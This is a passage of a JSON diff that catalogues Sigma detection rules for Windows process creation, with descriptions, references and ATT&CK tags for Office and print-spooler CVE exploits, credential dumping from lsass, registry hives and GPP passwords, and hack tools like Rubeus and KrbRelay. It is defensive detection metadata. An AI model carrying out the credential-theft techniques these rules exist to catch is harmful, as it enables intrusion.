"logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", + "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", + "value": "Exploit for CVE-2017-0261", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2018/02/22", + "filename": "proc_creation_win_exploit_cve_2017_0261.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", + "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", + "value": "Droppers Exploiting CVE-2017-11882", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", + "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2017/11/23", + "filename": "proc_creation_win_exploit_cve_2017_11882.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", + "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", + "value": "Exploit for CVE-2017-8759", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", + "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2017/09/15", + "filename": "proc_creation_win_exploit_cve_2017_8759.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", + "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", + "value": "Exploiting SetupComplete.cmd CVE-2019-1378", + "meta": { + "refs": [ + "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.execution", + "attack.t1059.003", + "attack.t1574", + "cve.2019.1378" + ], + "creation_date": "2019/11/15", + "filename": "proc_creation_win_exploit_cve_2019_1378.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", + "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", + "value": "Exploiting CVE-2019-1388", + "meta": { + "refs": [ + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", + "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2019/11/20", + "filename": "proc_creation_win_exploit_cve_2019_1388.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", + "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", + "value": "Exploited CVE-2020-10189 Zoho ManageEngine", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.s0190", + "cve.2020.10189" + ], + "creation_date": "2020/03/25", + "filename": "proc_creation_win_exploit_cve_2020_10189.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects new commands that add new printer port which point to suspicious file", + "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", + "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)", + "meta": { + "refs": [ + "https://windows-internals.com/printdemon-cve-2020-1048/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/05/13", + "filename": "proc_creation_win_exploit_cve_2020_1048.yml", + "author": "EagleEye Team, Florian Roth", + "level": "high", + "falsepositive": [ + "New printer port install on host" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", + "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", + "value": "DNS RCE CVE-2020-1350", + "meta": { + "refs": [ + "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", + "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/07/15", + "filename": "proc_creation_win_exploit_cve_2020_1350.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown but benign sub processes of the Windows DNS service dns.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", + "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", + "value": "Possible InstallerFileTakeOver LPE CVE-2021-41379", + "meta": { + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/11/22", + "filename": "proc_creation_win_exploit_lpe_cve_2021_41379.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", + "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", + "value": "SystemNightmare Exploitation Script Execution", + "meta": { + "refs": [ + "https://github.com/GossiTheDog/SystemNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/08/11", + "filename": "proc_creation_win_exploit_systemnightmare.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Rename as a legitimate Sysinternals Suite tool to evade detection", + "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9", + "value": "False Sysinternals Suite Tools", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_false_sysinternalsuite.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a file or folder's permissions being modified.", + "uuid": "37ae075c-271b-459b-8d7b-55ad5f993dd8", + "value": "File or Folder Permissions Modifications", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_file_permission_modifications.yml", + "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Users interacting with the files on their own (unlikely unless privileged users).", + "Dynatrace app" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", + "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d", + "value": "Findstr GPP Passwords", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2021/12/27", + "filename": "proc_creation_win_findstr_gpp_passwords.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", + "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929", + "value": "Findstr LSASS", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_findstr_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of findstr with the \"EVERYONE\" keyword. This is often used in combination with icacls to look for misconfigured files or folders permissions", + "uuid": "47e4bab7-c626-47dc-967b-255608c9a920", + "value": "Suspicious Recon Activity Using Findstr Keywords", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_findstr_recon_everyone.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to disable the Windows Firewall using PowerShell", + "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75", + "value": "Windows Firewall Disabled via PowerShell", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_firewall_disabled_via_powershell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/09/14", + "filename": "proc_creation_win_firewall_disabled_via_powershell.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", + "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863", + "value": "Fast Reverse Proxy (FRP)", + "meta": { + "refs": [ + "https://asec.ahnlab.com/en/38156/", + "https://github.com/fatedier/frp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/09/02", + "filename": "proc_creation_win_frp.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers may leverage fsutil to enumerated connected drives.", + "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6", + "value": "Fsutil Drive Enumeration", + "meta": { + "refs": [ + "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/", + "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1120" + ], + "creation_date": "2022/03/29", + "filename": "proc_creation_win_fsutil_drive_enumeration.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "low", + "falsepositive": [ + "Certain software or administrative tasks may trigger false positives." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", + "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", + "value": "Fsutil Behavior Set SymlinkEvaluation", + "meta": { + "refs": [ + "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", + "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/03/02", + "filename": "proc_creation_win_fsutil_symlinkevaluation.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", + "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc", + "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_get_localgroup_member_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ], + "creation_date": "2022/10/10", + "filename": "proc_creation_win_get_localgroup_member_recon.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution GMER tool based on image and hash fields.", + "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", + "value": "GMER - Rootkit Detector and Remover Execution", + "meta": { + "refs": [ + "http://www.gmer.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gmer_execution.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/10/05", + "filename": "proc_creation_win_gmer_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d", + "value": "Use of GoToAssist Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gotoopener.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_gotoopener.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Dump sam, system or security hives using REG.exe utility", + "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167", + "value": "Grabbing Sensitive Hives via Reg Utility", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "car.2013-07-001" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_grabbing_sensitive_hives_via_reg.yml", + "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", + "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", + "value": "Windows Hacktool Imphash", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/04", + "filename": "proc_creation_win_hacktool_imphashes.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of one of these tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", + "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12", + "value": "ADCSPwn Hack Tool", + "meta": { + "refs": [ + "https://github.com/bats3c/ADCSPwn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1557.001" + ], + "creation_date": "2021/07/31", + "filename": "proc_creation_win_hack_adcspwn.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", + "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962", + "value": "Bloodhound and Sharphound Hack Tool", + "meta": { + "refs": [ + "https://github.com/BloodHoundAD/BloodHound", + "https://github.com/BloodHoundAD/SharpHound", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.001", + "attack.t1069.002", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/12/20", + "filename": "proc_creation_win_hack_bloodhound.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other programs that use these command line option and accepts an 'All' parameter" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", + "uuid": "37c1333a-a0db-48be-b64b-7393b2386e3b", + "value": "Hacktool by Cube0x0", + "meta": { + "refs": [ + "https://github.com/cube0x0", + "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/27", + "filename": "proc_creation_win_hack_cube0x0_tools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", + "uuid": "2704ab9e-afe2-4854-a3b1-0c0706d03578", + "value": "Dumpert Process Dumper", + "meta": { + "refs": [ + "https://github.com/outflanknl/Dumpert", + "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/02/04", + "filename": "proc_creation_win_hack_dumpert.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by Hydra password guessing hack tool", + "uuid": "aaafa146-074c-11eb-adc1-0242ac120002", + "value": "Hydra Password Guessing Hack Tool", + "meta": { + "refs": [ + "https://github.com/vanhauser-thc/thc-hydra", + "https://attack.mitre.org/techniques/T1110/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_hydra.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110", + "attack.t1110.001" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_hack_hydra.yml", + "author": "Vasiliy Burov", + "level": "high", + "falsepositive": [ + "Software that uses the caret encased keywords PASS and USER in its command line" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", + "uuid": "b99a1518-1ad5-4f65-bc95-1ffff97a8fd0", + "value": "Inveigh Hack Tool", + "meta": { + "refs": [ + "https://github.com/Kevin-Robertson/Inveigh", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/10/24", + "filename": "proc_creation_win_hack_inveigh.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by Koadic hack tool", + "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34", + "value": "Koadic Execution", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", + "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", + "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2020/01/12", + "filename": "proc_creation_win_hack_koadic.yml", + "author": "wagga, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of KrbRelay, a Kerberos relaying tool", + "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4", + "value": "KrbRelay Hack Tool", + "meta": { + "refs": [ + "https://github.com/cube0x0/KrbRelay", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2022/04/27", + "filename": "proc_creation_win_hack_krbrelay.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", + "uuid": "12827a56-61a4-476a-a9cb-f3068f191073", + "value": "KrbRelayUp Hack Tool", + "meta": { + "refs": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ], + "creation_date": "2022/04/26", + "filename": "proc_creation_win_hack_krbrelayup.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", + "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18", + "value": "Rubeus Hack Tool", + "meta": { + "refs": [ + "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", + "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ], + "creation_date": "2018/12/19", + "filename": "proc_creation_win_hack_rubeus.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", + "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", + "value": "SafetyKatz Hack Tool", + "meta": { + "refs": [ + "https://github.com/GhostPack/SafetyKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/10/20", + "filename": "proc_creation_win_hack_safetykatz.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of SecurityXploded Tools", + "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a", + "value": "SecurityXploded Tool", + "meta": { + "refs": [ + "https://securityxploded.com/", + "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ], + "creation_date": "2018/12/19", + "filename": "proc_creation_win_hack_secutyxploded.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", + "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", + "value": "SharPersist Usage", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit", + "https://github.com/mandiant/SharPersist", + 